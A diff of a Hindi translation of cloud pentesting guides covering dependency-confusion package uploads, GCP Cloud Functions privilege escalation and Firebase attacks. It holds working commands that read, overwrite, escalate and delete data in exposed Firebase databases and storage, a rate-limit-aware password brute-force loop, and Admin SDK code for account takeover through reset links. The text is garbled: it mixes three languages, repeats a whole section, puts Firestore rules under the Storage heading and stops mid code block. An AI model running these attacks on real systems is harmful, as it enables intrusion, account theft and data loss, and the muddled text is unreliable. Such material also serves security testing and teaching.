+setuptools.setup(
+name = "<package-name>",
+version = "0.1.1",
+packages = ["<package-name>"],
+cmdclass={'install': AfterInstall},
+)
+EOF
+```
+पैकेज तैयार करें और इंस्टॉलेशन के दौरान कोड निष्पादित होने को सुनिश्चित करने के लिए wheel हटाएँ।
+```bash
+python3 setup.py sdist bdist_wheel
+rm dist/<package-name>*.whl
+```
+हानिकारक पैकेज को सार्वजनिक रिपॉजिटरी पर अपलोड करें (उदाहरण के लिए, test.pypi.org for Python).
+```bash
+pip install twine
+twine upload --repository testpypi dist/*
+```
+जब कोई सिस्टम या सेवा वर्चुअल रिपॉज़िटरी का उपयोग करके पैकेज इंस्टॉल करती है, तो यह वैध आंतरिक की बजाय पब्लिक रिपॉज़िटरी से मैलिशियस वर्ज़न डाउनलोड कर लेगी, क्योंकि मैलिशियस वर्ज़न उच्चतर होता है और रिमोट रिपॉज़िटरी की प्राथमिकता बराबर या अधिक होती है।
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md

@@ -12,21 +12,19 @@ Cloud Functions के बारे में अधिक जानकारी
 
 ### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
 
-इन privileges के साथ एक attacker **arbitrary (malicious) code के साथ नया Cloud Function बना सकता है और उसे एक Service Account असाइन कर सकता है**। फिर metadata से Service Account token को leak करके उस पर privileges escalate किया जा सकता है.\
+इन privileges वाले attacker **arbitrary (malicious) code के साथ एक नया Cloud Function create कर सकते हैं और इसे एक Service Account assign कर सकते हैं**। फिर metadata से Service Account token को leak करके उस पर privileges escalate किया जा सकता है।\
-Function को trigger करने के लिए कुछ privileges की आवश्यकता हो सकती है।
+Function को trigger करने के लिए कुछ privileges आवश्यक हो सकते हैं।
 
-Exploit scripts इस method के लिए यहाँ पाए जा सकते हैं [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) और [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) और prebuilt .zip file यहाँ मिल सकती है [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
+Exploit scripts for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) and [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) and the prebuilt .zip file can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
 
 ### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
 
-इन privileges के साथ एक attacker **किसी Function के code को modify कर सकता है और यहां तक कि जोड़कर दिए गए service account को भी बदल सकता है** ताकि token को exfiltrate किया जा सके।
+इन privileges वाले attacker **एक Function के code को modify कर सकते हैं और attached service account को भी modify कर सकते हैं** ताकि token exfiltrating किया जा सके।
 
 > [!CAUTION]
-> cloud functions deploy करने के लिये आपको default compute service account या उस service account पर actAs permissions की भी आवश्यकता होगी जो image build करने के लिए उपयोग होती है।
+> cloud functions deploy करने के लिए आपको default compute service account पर या उस service account पर actAs permissions भी चाहिए जो image build करने के लिए उपयोग होती है।
 
-कुछ अतिरिक्त privileges जैसे version 1 cloudfunctions के लिए `.call` permission या function को trigger करने के लिए role `role/run.invoker` की आवश्यकता हो सकती है।
+कुछ अतिरिक्त privileges जैसे version 1 cloudfunctions के लिए `.call` permission या function को trigger करने के लिए role `role/run.invoker` आवश्यक हो सकते हैं।
-
-<details><summary>Cloud Function को malicious code से अपडेट करें ताकि Service Account token को exfiltrate किया जा सके</summary>
 ```bash
 # Create new code
 temp_dir=$(mktemp -d)
@@ -56,8 +54,6 @@ gcloud functions deploy <cloudfunction-name> \
 # Get SA token calling the new function code
 gcloud functions call <cloudfunction-name>
 ```
-</details>
-
 > [!CAUTION]
 > यदि आपको त्रुटि `Permission 'run.services.setIamPolicy' denied on resource...` मिलती है तो इसका कारण यह है कि आप `--allow-unauthenticated` पैरामीटर का उपयोग कर रहे हैं और आपके पास इसके लिए पर्याप्त अनुमतियाँ नहीं हैं।
 
@@ -65,9 +61,7 @@ The exploit script for this method can be found [here](https://github.com/RhinoS
 
 ### `cloudfunctions.functions.sourceCodeSet`
 
-इस अनुमति के साथ आप एक **signed URL** प्राप्त कर सकते हैं जिससे आप function bucket में फ़ाइल अपलोड कर सकेंगे (लेकिन function के कोड में परिवर्तन नहीं होगा, आपको इसे अभी भी अपडेट करना होगा)
+इस permission के साथ आप एक **signed URL** प्राप्त कर सकते हैं जिससे function bucket में फ़ाइल अपलोड की जा सकेगी (लेकिन function के कोड में बदलाव नहीं होगा, आपको इसे अपडेट करना होगा)
-
-<details><summary>Cloud Function के लिए signed upload URL जनरेट करें</summary>
 ```bash
 # Generate the URL
 curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
@@ -75,40 +69,51 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
 -H "Content-Type: application/json" \
 -d '{}'
 ```
-</details>
+मुझे यकीन नहीं है कि केवल यह permission attacker के नज़रिये से कितना उपयोगी है, लेकिन जानना अच्छा है।
-
-मुझे ठीक से यकीन नहीं है कि केवल यह permission एक हमलावर के दृष्टिकोण से कितना उपयोगी है, लेकिन यह जानना अच्छा है।
 
 ### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
 
-अपने आप को किसी भी पहले बताए गए **`.update`** या **`.create`** privileges दे कर escalate करें।
+अपने आप को पहले बताए गए किसी भी **`.update`** या **`.create`** privileges दें ताकि आप escalate कर सकें।
-
+```bash
+gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
+--region=<REGION> \
+--member="<MIEMBRO>" \
+--role="roles/cloudfunctions.invoker"
+```
 ### `cloudfunctions.functions.update`
 
-केवल **`cloudfunctions`** permissions होने पर, बिना **`iam.serviceAccounts.actAs`** के आप फ़ंक्शन को update नहीं कर पाएँगे, इसलिए यह VALID PRIVESC नहीं है।
+केवल **`cloudfunctions`** permissions होने पर, बिना **`iam.serviceAccounts.actAs`** के आप फ़ंक्शन को अपडेट नहीं कर पाएँगे, इसलिए यह कोई वैध PRIVESC नहीं है।
 
+### फ़ंक्शन्स को invoke करना
+`cloudfunctions.functions.get`, `cloudfunctions.functions.invoke`, `run.jobs.run`, और `run.routes.invoke` permissions के साथ कोई identity सीधे Cloud Functions को invoke कर सकती है। इसके लिए यह भी आवश्यक है कि फ़ंक्शन सार्वजनिक ट्रैफ़िक की अनुमति दे, या कॉलर फ़ंक्शन के उसी नेटवर्क में हो।
+```bash
+curl -X POST "https://<FUNCTION_URL>" \
+-H "Authorization: bearer $(gcloud auth print-identity-token)" \
+-H "Content-Type: application/json" \
+-d '{  "name": "Developer" }'
+```
 ### Read & Write Access over the bucket
 
-यदि आपके पास बकेट पर read और write एक्सेस है, तो आप कोड में परिवर्तन मॉनिटर कर सकते हैं और जब भी बकेट में कोई **update** होता है आप नए कोड को अपने कोड से बदल सकते हैं ताकि Cloud Function का नया वर्शन सबमिट किए गए backdoored code के साथ चलें।
+यदि आपके पास bucket पर Read और Write एक्सेस है, तो आप code में होने वाले परिवर्तनों की निगरानी कर सकते हैं और जब भी **bucket में कोई update होता है आप नए code को अपने code से बदल सकते हैं** ताकि Cloud Function का नया संस्करण सबमिट किए गए backdoored code के साथ चलाया जाए।
 
-आप इस हमले के बारे में और देख सकते हैं:
+You can check more about the attack in:
 
 {{#ref}}
 gcp-storage-privesc.md
 {{#endref}}
 
-हालाँकि, आप इसे तीसरे पक्ष के Cloud Functions को पहले से compromise करने के लिए उपयोग नहीं कर सकते क्योंकि यदि आप अपने अकाउंट में बकेट बनाते हैं और उसे public permissions दे देते हैं ताकि external project उस पर लिख सके, तो आपको निम्नलिखित error मिलता है:
+हालाँकि, आप इसे तीसरे पक्ष के Cloud Functions को पहले से compromise करने के लिए उपयोग नहीं कर सकते क्योंकि यदि आप अपना bucket अपने खाते में बनाते हैं और बाहरी project को उस पर लिखने की अनुमति देने के लिए इसे public permissions देते हैं, तो आपको निम्नलिखित error मिलता है:
 
 <figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
 
 > [!CAUTION]
-> हालाँकि, इसे DoS attacks के लिए इस्तेमाल किया जा सकता है।
+> हालाँकि, इसे DoS attacks के लिए उपयोग किया जा सकता है।
 
 ### Read & Write Access over Artifact Registry
 
-जब कोई Cloud Function बनता है तो एक नया docker image प्रोजेक्ट के Artifact Registry में push होता है। मैंने image को नए एक से बदलने की कोशिश की, और वर्तमान image (और `cache` image) को डिलीट भी किया, लेकिन कुछ भी नहीं बदला, cloud function काम करना जारी रहा। इसलिए, संभवतः बकेट की तरह docker container बदलने के लिए **Race Condition attack** का दुरुपयोग संभव हो सकता है, लेकिन **केवल स्टोर की गई image को modify करने से Cloud Function को compromise करना संभव नहीं है**।
+When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. मैंने image को नए एक से बदलने की कोशिश की, और वर्तमान image (और `cache` image) को हटाने तक की कोशिश की पर कुछ भी नहीं बदला, Cloud Function काम करना जारी रहा। इसलिए, शायद यह **might be possible to abuse a Race Condition attack** बिलकुल bucket की तरह docker container को बदलने के लिए उपयोग किया जा सके, परंतु **just modifying the stored image isn't possible to compromise the Cloud Function**।
 
-## संदर्भ
+## References
 
 - [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
 

src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md

@@ -0,0 +1,451 @@
+# GCP - Firebase Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Firebase
+
+### Unauthenticated access to Firebase Realtime Database
+इस हमले को अंजाम देने के लिए हमलावर को किसी विशेष Firebase permissions की ज़रूरत नहीं होती। बस Firebase Realtime Database की सुरक्षा नियमों (security rules) में एक कमजोर configuration होना चाहिए, जहाँ नियम `.read: true` या `.write: true` पर सेट हैं, जिससे public read या write की अनुमति मिल जाती है।
+
+हमलावर को database URL पहचानना होता है, जो आम तौर पर इस फॉर्मैट में होता है: `https://<project-id>.firebaseio.com/`.
+
+यह URL मोबाइल एप्लिकेशन की reverse engineering (Android APKs को decompile करना या iOS apps का विश्लेषण), google-services.json (Android) या GoogleService-Info.plist (iOS) जैसी configuration फाइलों के विश्लेषण, web applications के source code की जाँच, या नेटवर्क ट्रैफ़िक का निरीक्षण करके पाया जा सकता है ताकि `*.firebaseio.com` डोमेन्स के अनुरोधों की पहचान हो सके।
+
+हमलावर database URL पहचान कर जाँचता है कि क्या यह सार्वजनिक रूप से एक्सपोज़्ड है; फिर वह डेटा को एक्सेस कर सकता है और संभावित रूप से हानिकारक जानकारी लिख सकता है।
+
+पहले वे यह जाँचते हैं कि क्या database read access की अनुमति देता है, इसके लिए URL के अंत में .json जोड़कर।
+```bash
+curl https://<project-id>-default-rtdb.firebaseio.com/.json
+```
+यदि response में JSON data या null (बदले में "Permission Denied") शामिल है, तो database को read access मिलता है। write access की जाँच करने के लिए, हमलावर Firebase REST API का उपयोग करके एक टेस्ट write request भेजने का प्रयास कर सकता है।
+```bash
+curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'
+```
+यदि ऑपरेशन सफल होता है, तो डेटाबेस को लिखने की अनुमति भी मिल जाती है।
+
+### Cloud Firestore में डेटा का खुलासा
+इस हमले को करने के लिए हमलावर को किसी विशिष्ट Firebase अनुमतियों की आवश्यकता नहीं होती। इसके लिए केवल यह आवश्यक है कि Cloud Firestore सुरक्षा नियमों में एक कमजोर कॉन्फ़िगरेशन मौजूद हो, जहाँ नियम बिना प्रमाणीकरण के या अपर्याप्त सत्यापन के साथ पढ़ने या लिखने की अनुमति देते हों। एक गलत रूप से कॉन्फ़िगर किए गए और पूर्ण पहुँच देने वाले नियम का उदाहरण है:
+```bash
+service cloud.firestore {
+match /databases/{database}/documents/{document=**} {
+allow read, write: if true;
+}
+}
+```
+यह नियम किसी को भी बिना किसी प्रतिबंध के सभी दस्तावेज़ पढ़ने और लिखने की अनुमति देता है। Firestore rules सूक्ष्म होते हैं और प्रत्येक collection और document पर लागू होते हैं, इसलिए किसी विशेष नियम में हुई गलती केवल कुछ ही collections को उजागर कर सकती है।
+
+The attacker must identify the Firebase Project ID, which can be found through mobile app reverse engineering, analysis of configuration files such as google-services.json or GoogleService-Info.plist, inspecting the source code of web applications, or analyzing network traffic to identify requests to firestore.googleapis.com.
+The Firestore REST API uses the format:
+```bash
+https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
+```
+यदि नियम unauthenticated read access को अनुमति देते हैं, तो attacker collections और documents पढ़ सकता है। पहले, वे एक specific collection तक पहुँचने का प्रयास करते हैं:
+```bash
+curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>
+```
+यदि response में permission error की बजाय JSON documents मिलते हैं, तो collection exposed है। हमलावर सामान्य नाम आज़माकर या एप्लिकेशन की संरचना का विश्लेषण करके सभी accessible collections को सूचीबद्ध कर सकता है। किसी विशिष्ट document तक पहुँचने के लिए:
+```bash
+curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
+```
+यदि नियम unauthenticated write access की अनुमति देते हैं या validation अपर्याप्त है, तो attacker नए documents बना सकता है:
+```bash
+curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
+-H "Content-Type: application/json" \
+-d '{
+"fields": {
+"name": {"stringValue": "Test"},
+"email": {"stringValue": "test@example.com"}
+}
+}'
+```
+किसी मौजूदा दस्तावेज़ को संशोधित करने के लिए PATCH का उपयोग करना चाहिए:
+```bash
+curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
+-H "Content-Type: application/json" \
+-d '{
+"fields": {
+"role": {"stringValue": "admin"}
+}
+}'
+```
+एक दस्तावेज़ हटाने और denial of service का कारण बनने के लिए:
+```bash
+curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
+```
+### Firebase Storage में फ़ाइलों का एक्सपोज़र
+एक अटैकर को इस अटैक को करने के लिए किसी विशेष Firebase permissions की आवश्यकता नहीं होती। यह केवल इतना चाहिए कि Firebase Storage security rules में एक कमजोर कॉन्फ़िगरेशन मौजूद हो जहाँ नियम authentication के बिना या अपर्याप्त validation के साथ read या write access की अनुमति देते हों। Storage rules read और write permissions को स्वतंत्र रूप से नियंत्रित करते हैं, इसलिए किसी नियम की त्रुटि केवल read access, केवल write access, या दोनों को उजागर कर सकती है। एक गलत कॉन्फ़िगर किए गए नियम का उदाहरण जो पूरा एक्सेस देता है:
+```bash
+service cloud.firestore {
+match /databases/{database}/documents/{document=**} {
+allow read, write: if true;
+}
+}
+```
+यह नियम बिना किसी प्रतिबंध के सभी documents को read और write एक्सेस की अनुमति देता है।  
+Firestore rules सूक्ष्म स्तर पर लागू होती हैं और ये प्रत्येक collection और प्रत्येक document पर लागू होती हैं, इसलिए किसी विशिष्ट rule में त्रुटि केवल कुछ collections को ही उजागर कर सकती है।  
+attacker को Firebase Project ID पहचानना होगा, जो mobile application reverse engineering, configuration files (जैसे google-services.json या GoogleService-Info.plist) के विश्लेषण, web application source code के निरीक्षण, या network traffic analysis के माध्यम से firestore.googleapis.com पर किए गए अनुरोधों की पहचान करके पाया जा सकता है।  
+
+The Firestore REST API uses the format:`https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.`
+
+यदि rules unauthenticated read access की अनुमति देते हैं, तो attacker collections और documents पढ़ सकता है। पहले, वे किसी विशिष्ट collection तक पहुँचने का प्रयास करते हैं।
+```bash
+curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
+curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"
+```
+यदि प्रतिक्रिया में अनुमति त्रुटि के बजाय फाइलों की सूची होती है, तो फ़ाइल उजागर है। हमलावर फ़ाइलों का path निर्दिष्ट करके उनकी सामग्री देख सकता है:
+```bash
+curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"
+```
+यदि नियम unauthenticated write access की अनुमति देते हैं या मान्यकरण अपर्याप्त है, तो attacker दुर्भावनापूर्ण फ़ाइलें अपलोड कर सकता है। REST API के माध्यम से फ़ाइल अपलोड करने के लिए:
+```bash
+curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
+-H "Content-Type: <content-type>" \
+--data-binary @<local-file>
+```
+हमलावर code shells, malware payloads, या बड़ी फ़ाइलें अपलोड करके denial of service पैदा कर सकते हैं। यदि एप्लिकेशन अपलोड की गई फ़ाइलों को संसाधित या निष्पादित करता है, तो हमलावर remote code execution हासिल कर सकता है। फ़ाइलें हटाने और denial of service पैदा करने के लिए:
+```bash
+curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"
+```
+### सार्वजनिक Firebase Cloud Functions का आह्वान
+An attacker को इस issue को exploit करने के लिए किसी विशेष Firebase permissions की आवश्यकता नहीं होती; यह केवल जरूरी है कि कोई Cloud Function HTTP पर बिना authentication के सार्वजनिक रूप से पहुँच योग्य हो।
+
+A function तब vulnerable होता है जब वह insecurely configured हो:
+
+- यह functions.https.onRequest का उपयोग करता है, जो authentication लागू नहीं करता (onCall functions के विपरीत)।
+- The function’s code में user authentication validate नहीं किया जाता (उदा., request.auth या context.auth के लिए कोई checks नहीं)।
+- Function IAM में सार्वजनिक रूप से उपलब्ध है, अर्थात् allUsers के पास roles/cloudfunctions.invoker role है। यह HTTP functions के लिए default व्यवहार है जब तक developer access को restrict न करे।
+
+Firebase HTTP Cloud Functions निम्न URL के माध्यम से उपलब्ध होते हैं:
+
+- https://<region>-<project-id>.cloudfunctions.net/<function-name>
+- https://<project-id>.web.app/<function-name> (when integrated with Firebase Hosting)
+
+An attacker इन URLs को source code analysis, network traffic inspection, enumeration tools, या mobile app reverse engineering के माध्यम से खोज सकता है।
+यदि function सार्वजनिक रूप से exposed और unauthenticated है, तो attacker इसे सीधे बिना credentials के invoke कर सकता है।
+```bash
+# Invoke public HTTP function with GET
+curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
+# Invoke public HTTP function with POST and data
+curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
+-H "Content-Type: application/json" \
+-d '{"param1": "value1", "param2": "value2"}'
+```
+यदि फ़ंक्शन इनपुट्स को ठीक से सत्यापित नहीं करता है, तो अटैकर अन्य हमले आज़मा सकते हैं जैसे code injection या command injection।
+
+### Brute-force attack against Firebase Authentication with a weak password policy
+अटैकर को इस हमले को करने के लिए किसी विशेष Firebase permissions की आवश्यकता नहीं होती। आवश्यक केवल यह है कि Firebase API Key मोबाइल या वेब applications में एक्सपोज़ हो और पासवर्ड पॉलिसी को डिफॉल्ट्स से कड़े आवश्यकताओं के साथ कॉन्फ़िगर न किया गया हो।
+
+अटैकर को Firebase API Key पहचाननी होती है, जो mobile app reverse engineering, configuration फ़ाइलों के विश्लेषण जैसे google-services.json या GoogleService-Info.plist, वेब applications के source code (उदा., bootstrap.js) का निरीक्षण, या network traffic के विश्लेषण से मिल सकती है।
+
+Firebase Authentication’s REST API इस endpoint का उपयोग करता है:
+`https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>`
+ईमेल और पासवर्ड से authenticate करने के लिए।
+
+यदि Email Enumeration Protection disabled है, तो API error responses यह प्रकट कर सकती हैं कि कोई ईमेल सिस्टम में मौजूद है या नहीं (EMAIL_NOT_FOUND बनाम INVALID_PASSWORD), जो अटैकर को password guessing से पहले यूज़र्स को enumerate करने की अनुमति देता है। जब यह protection enabled होता है, तो API nonexistent emails और incorrect passwords दोनों के लिए एक ही error message लौटाता है, जिससे user enumeration रोका जाता है।
+
+यह ध्यान देने योग्य है कि Firebase Authentication rate limiting लागू करता है, जो बहुत कम समय में बहुत अधिक authentication attempts होने पर requests को ब्लॉक कर सकता है। इसलिए अटैकर को rate-limited होने से बचने के लिए प्रयासों के बीच देरी डालनी पड़ेगी।
+
+अटैकर API Key की पहचान कर ज्ञात खातों के खिलाफ कई पासवर्ड के साथ authentication attempts करता है। यदि Email Enumeration Protection disabled है, तो अटैकर error responses का विश्लेषण करके मौजूद यूज़र्स को enumerate कर सकता है:
+```bash
+# Attempt authentication with a known email and an incorrect password
+curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
+-H "Content-Type: application/json" \
+-d '{
+"email": "usuario@example.com",
+"password": "password",
+"returnSecureToken": true
+}'
+```
+यदि प्रतिक्रिया में EMAIL_NOT_FOUND शामिल है, तो वह ईमेल सिस्टम में मौजूद नहीं है।  
+यदि इसमें INVALID_PASSWORD है, तो ईमेल मौजूद है लेकिन पासवर्ड गलत है, जो पुष्टि करता है कि उपयोगकर्ता पंजीकृत है।  
+एक बार वैध उपयोगकर्ता की पहचान हो जाने पर, हमलावर brute-force प्रयास कर सकता है।  
+Firebase Authentication’s rate-limiting mechanisms से बचने के लिए प्रयासों के बीच विराम रखना महत्वपूर्ण है:
+```bash
+counter=1
+for password in $(cat wordlist.txt); do
+echo "Intento $counter: probando contraseña '$password'"
+response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
+-H "Content-Type: application/json" \
+-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")
+
+if echo "$response" | grep -q "idToken"; then
+echo "Contraseña encontrada: $password (intento $counter)"
+break
+fi
+
+# Stop for the rate limiting
+sleep 1
+counter=$((counter + 1))
+done
+```
+डिफ़ॉल्ट पासवर्ड नीति (न्यूनतम 6 वर्ण, कोई जटिलता शर्त नहीं) के साथ, हमलावर सभी संभावित 6-वर्ण वाले पासवर्ड संयोजनों को आज़मा सकता है, जो कि कड़ी पासवर्ड नीतियों की तुलना में अपेक्षाकृत छोटा खोज क्षेत्र दर्शाता है।
+
+### Firebase Authentication में उपयोगकर्ता प्रबंधन
+
+इस हमले को करने के लिए हमलावर को Firebase Authentication के कुछ विशिष्ट permissions चाहिए। आवश्यक permissions हैं:
+
+- `firebaseauth.users.create` to create users
+- `firebaseauth.users.update` to modify existing users
+- `firebaseauth.users.delete` to delete users
+- `firebaseauth.users.get` to retrieve user information
+- `firebaseauth.users.sendEmail` to send emails to users
+- `firebaseauth.users.createSession` to create user sessions
+
+ये permissions `roles/firebaseauth.admin` role में शामिल हैं, जो Firebase Authentication resources के लिए पूरा read/write access प्रदान करता है। ये permissions higher-level roles जैसे roles/firebase.developAdmin (जिसमें सभी firebaseauth.* permissions शामिल हैं) और roles/firebase.admin (Firebase services के लिए पूरा access) में भी शामिल हैं।
+
+Firebase Admin SDK का उपयोग करने के लिए, हमलावर को service account credentials (JSON file) तक पहुँच चाहिए होती है, जो compromised systems, publicly exposed code repositories, compromised CI/CD systems पर मिल सकती हैं, या उन developer accounts के compromise के माध्यम से मिल सकती हैं जिनके पास ये credentials होते हैं।
+
+पहला कदम है Firebase Admin SDK को service account credentials का उपयोग करके कॉन्फ़िगर करना।
+```bash
+import firebase_admin
+from firebase_admin import credentials, auth
+cred = credentials.Certificate('path/to/serviceAccountKey.json')
+firebase_admin.initialize_app(cred)
+```
+पीड़ित के ईमेल का उपयोग करके एक दुर्भावनापूर्ण उपयोगकर्ता बनाने के लिए, हमलावर Firebase Admin SDK का उपयोग करके उस ईमेल के अंतर्गत एक नया अकाउंट बनाने का प्रयास करेगा।
+```bash
+user = auth.create_user(
+email='victima@example.com',
+email_verified=False,
+password='password123',
+display_name='Usuario Malicioso',
+disabled=False
+)
+print(f'Usuario creado: {user.uid}')
+```
+किसी मौजूदा user को संशोधित करने के लिए, attacker उन फ़ील्ड्स को अपडेट करेगा जैसे कि email address, verification status, या यह कि account disabled है या नहीं।
+```bash
+user = auth.update_user(
+uid,
+email='nuevo-email@example.com',
+email_verified=True,
+disabled=False
+)
+print(f'Usuario actualizado: {user.uid}')
+```
+एक उपयोगकर्ता खाते को हटाकर और denial of service पैदा करने के लिए, attacker उपयोगकर्ता को पूरी तरह से हटाने का अनुरोध भेजेगा।
+```bash
+auth.delete_user(uid)
+print('Usuario eliminado exitosamente')
+```
+हमलावर मौजूदा उपयोगकर्ताओं के UID या ईमेल पते का अनुरोध करके उनकी जानकारी भी प्राप्त कर सकता है।
+```bash
+user = auth.get_user(uid)
+print(f'Información del usuario: {user.uid}, {user.email}')
+user = auth.get_user_by_email('usuario@example.com')
+print(f'Información del usuario: {user.uid}, {user.email}')
+```
+इसके अलावा, हमलावर सत्यापन लिंक या पासवर्ड-रीसेट लिंक जनरेट करके किसी उपयोगकर्ता का पासवर्ड बदल सकता है और उसके खाते तक पहुँच हासिल कर सकता है।
+```bash
+link = auth.generate_email_verification_link(email)
+print(f'Link de verificación: {link}')
+link = auth.generate_password_reset_link(email)
+print(f'Link de reset: {link}')
+```
+### Firebase Authentication में उपयोगकर्ता प्रबंधन
+
+एक attacker को इस attack को अंजाम देने के लिए विशिष्ट Firebase Authentication permissions की आवश्यकता होती है। आवश्यक permissions हैं:
+
+- `firebaseauth.users.create` to create users
+- `firebaseauth.users.update` to modify existing users
+- `firebaseauth.users.delete` to delete users
+- `firebaseauth.users.get` to obtain user information
+- `firebaseauth.users.sendEmail` to send emails to users
+- `firebaseauth.users.createSession` to create user sessions
+
+ये permissions roles/firebaseauth.admin role में शामिल हैं, जो Firebase Authentication resources के लिए full read/write access प्रदान करता है। ये higher-level roles जैसे `roles/firebase.developAdmin` (जिसमें सभी firebaseauth.* permissions शामिल हैं) और `roles/firebase.admin` (सभी Firebase services के लिए full access) का भी हिस्सा हैं।
+
+Firebase Admin SDK का उपयोग करने के लिए, attacker को service account credentials (एक JSON file) तक access चाहिए होगा, जो compromised systems, publicly exposed code repositories, compromised CI/CD environments से प्राप्त किए जा सकते हैं, या उन developer accounts के compromise के जरिए मिल सकते हैं जिनके पास ये credentials होते हैं।
+
+पहला कदम है service account credentials का उपयोग करके Firebase Admin SDK को configure करना।
+```bash
+import firebase_admin
+from firebase_admin import credentials, auth
+cred = credentials.Certificate('path/to/serviceAccountKey.json')
+firebase_admin.initialize_app(cred)
+```
+किसी victim के email का उपयोग करके एक malicious user बनाने के लिए, attacker उस email के साथ एक नया user account बनाने का प्रयास करेगा, और अपना password तथा profile information असाइन करेगा।
+```bash
+user = auth.create_user(
+email='victima@example.com',
+email_verified=False,
+password='password123',
+display_name='Usuario Malicioso',
+disabled=False
+)
+print(f'Usuario creado: {user.uid}')
+```
+मौजूदा उपयोगकर्ता को संशोधित करने के लिए, attacker ईमेल पता, सत्यापन स्थिति, या यह कि खाता अक्षम है या नहीं जैसी फ़ील्ड बदल देगा।
+```bash
+user = auth.update_user(
+uid,
+email='nuevo-email@example.com',
+email_verified=True,
+disabled=False
+)
+print(f'Usuario actualizado: {user.uid}')
+```
+किसी उपयोगकर्ता खाते को हटाने के लिए—जो प्रभावी रूप से denial of service पैदा करेगा—हमलावर उस उपयोगकर्ता को स्थायी रूप से हटाने का अनुरोध जारी करेगा।
+```bash
+auth.delete_user(uid)
+print('Usuario eliminado exitosamente')
+```
+हमलावर UID या ईमेल पता के जरिए उपयोगकर्ता विवरण का अनुरोध करके मौजूदा उपयोगकर्ताओं के बारे में जानकारी भी प्राप्त कर सकता है, जैसे उनके UID या ईमेल।
+```bash
+user = auth.get_user(uid)
+print(f'Información del usuario: {user.uid}, {user.email}')
+user = auth.get_user_by_email('usuario@example.com')
+print(f'Información del usuario: {user.uid}, {user.email}')
+```
+इसके अलावा, हमलावर verification links या password-reset links जनरेट कर सकता है, जिससे वे किसी उपयोगकर्ता का password बदलकर उस खाते पर नियंत्रण प्राप्त कर सकते हैं।
+```bash
+link = auth.generate_email_verification_link(email)
+print(f'Link de verificación: {link}')
+link = auth.generate_password_reset_link(email)
+print(f'Link de reset: {link}')
+```
+### Firebase सेवाओं में सुरक्षा नियमों में संशोधन
+किसी सेवा के आधार पर सुरक्षा नियमों में संशोधन के लिए हमलावर को विशिष्ट अनुमतियों की आवश्यकता होती है। Cloud Firestore और Firebase Cloud Storage के लिए आवश्यक अनुमतियाँ `firebaserules.rulesets.create` (rulesets बनाने के लिए) और `firebaserules.releases.create` (releases deploy करने के लिए) हैं। ये अनुमतियाँ `roles/firebaserules.admin` role में शामिल हैं या उच्च-स्तरीय roles जैसे `roles/firebase.developAdmin` और `roles/firebase.admin` में मौजूद हैं। Firebase Realtime Database के लिए आवश्यक permission है `firebasedatabase.instances.update`।
+
+सुरक्षा नियमों में संशोधन करने के लिए हमलावर को Firebase REST API का उपयोग करना होगा।
+सबसे पहले, हमलावर को service account credentials का उपयोग करके एक access token प्राप्त करने की आवश्यकता होगी।
+टोकन प्राप्त करने के लिए:
+```bash
+gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
+ACCESS_TOKEN=$(gcloud auth print-access-token)
+```
+Firebase Realtime Database नियमों को संशोधित करने के लिए:
+```bash
